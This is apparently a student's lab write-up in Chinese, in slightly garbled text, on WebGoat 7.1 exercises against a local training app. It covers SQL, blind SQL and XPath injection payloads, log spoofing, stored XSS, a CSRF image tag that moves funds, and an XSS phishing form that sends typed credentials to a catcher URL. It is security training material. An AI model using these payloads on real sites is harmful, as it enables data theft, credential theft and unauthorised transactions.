1.开启webgoathtml
输入java -jar webgoat-container-7.1-exec.jar
java
在浏览器输入localhost:8080/WebGoat
,进入webgoat
web
2.SQL字符串注入(String SQL Injection)sql
让咱们试一试使用SQL注入,从而显示出全部信用卡号。能够先输入Smith试一试,发现出如今SELECT * FROM user_data WHERE last_name = 'Smith'
两个单引号中间,也就是咱们能够经过控制在输入框中输入的字符串,达到控制select语句的目的。
数据库
输入'or 1='1
,语句就变成SELECT * FROM user_data WHERE last_name = ''or 1='1'
,这句的意思就是查询lastname='' OR
(或者)1='1' ,这里的 1='1' 永远为真,因此成功经过。
浏览器
3.日志欺骗(Log Spoofing)安全
lzm%0d%0aLogin Succeeded for username: admin
4.Numeric SQL Injection服务器
inspect Element
对源代码进行修改,在任意一个值好比101旁边加上or 1=1;5.Command Injectioncookie
inspect Element
对源代码进行修改,右键点击BackDoors.help,,这样就能够直接定位到须要修改的位置,无需一行一行代码的查看了6.Stage 1:String SQL Injectionsession
对字符长度进行修改
从新登陆,登陆成功
7.XPATH Injection
Username: lzm' or 1=1 or 'a'='a Password: lzm
8.Blind String SQL Injection
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='5213521352135213'), 1, 1) = 'h' );
9.Phishing with XSS
</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
10.Stored XSS Attacks
<script>alert("5213 attack succeed!");</script>
,提交后,能够发现刚刚建立的帖子2015521311.Cross Site Request Forgery(CSRF)
<img src="http://localhost:8080/WebGoat/attack? Screen=288&menu=900&transferFunds=5213"/>
提交后在下面的Message List里面能够看我刚刚发送的消息
点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5213元,从而达到CSRF攻击的目的
此次实验确实学到了不少东西,原来还有这么个集成攻击小东西,练习中对xss,sql注入有了进一步认识,就先作10个吧。